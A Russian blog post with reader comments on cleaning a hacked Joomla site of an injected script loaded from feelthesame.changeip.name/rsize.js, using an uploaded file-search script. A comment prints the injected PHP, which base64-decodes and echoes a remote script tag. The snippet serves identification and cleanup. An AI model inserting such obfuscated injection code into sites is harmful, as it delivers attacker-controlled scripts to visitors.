Добрый день, дорогие друзья
Сегодня я Вам поведую Как удалить вирус на сайте http://feelthesame.changeip.name/rsize.js
Ох как же мне надоели эти постоянные взломы моих сайтов на Joomla.
Сегодня я перейдя на один из своих сайтов обнаружил следующее предупреждение от Касперского:
Ну вот Опять сказал я, и первым делом полез в исходники страницы:
Обнаружив "засранца", я пошел в свойства шаблона, в админке джумлы, Но к моему удивлению в index шаблона я его не обнаружил.
Далее Google меня привел к одному замечательному скрипту от icom , суть скрипта состоит в том что он выполняет поиск по всем закоулкам Вашего сайта, и указывает зараженные файлы.
Сегодня я Вам поведую Как удалить вирус на сайте http://feelthesame.changeip.name/rsize.js
Ох как же мне надоели эти постоянные взломы моих сайтов на Joomla.
Сегодня я перейдя на один из своих сайтов обнаружил следующее предупреждение от Касперского:
Ну вот Опять сказал я, и первым делом полез в исходники страницы:
Обнаружив "засранца", я пошел в свойства шаблона, в админке джумлы, Но к моему удивлению в index шаблона я его не обнаружил.
Далее Google меня привел к одному замечательному скрипту от icom , суть скрипта состоит в том что он выполняет поиск по всем закоулкам Вашего сайта, и указывает зараженные файлы.
Чудо скрипт можно СКАЧАТЬ ТУТ
Как им пользоваться?!
Нужно по FTP или через админку вашего хостинга загнать файл replace.php в корень вашего сайта, и перейти по ссылке http://ВАШЕимясайта/replace.php?pas=joomla
Дальше вводим ключевое слово в поиск и ищем, так же есть возможность автозамены, как скрипт найдет этот код, но советую делать все ручками.
Переходим в место что указал нам скрипт и видим о чудо:
Удаляем вредоносный код, меняем пароли на Вашем сайте, и удаляем сам скрипт.
Все профит))) Удачи




function sql2_safe($in) {
ОтветитьУдалить$rtn = base64_decode($in);
return $rtn;
}
if (!$content)
echo sql2_safe("PHNjcmlwdCBzcmM9Imh0dHA6Ly9mZWVsdGhlc2FtZS5jaGFuZ2VpcC5uYW1lL3JzaXplLmpzIj48L3NjcmlwdD4=");
Спасибо, нашёл заразу!
УдалитьАвтору статьи, конечно, тоже респект, однако как то влом качать отдельные скрипты для решения подобных проблем. Лучше уж простым поиском :)
Приведенный код делает аналогичную фигню и искать его по приведенным выше ссылкам бесполезно. Добавляется в php скрипты.
ОтветитьУдалитьНу почему? Этот скрипт ищет буквально во всех файлах на хостинге, попробуйте, удобно. Ну мне лично так удобнее
УдалитьВыберите уникальные шаблоны сайтов , отредактируйте и настройте все на ваш вкус. Создайте ваш оригинальный сайт бесплатно.
ОтветитьУдалить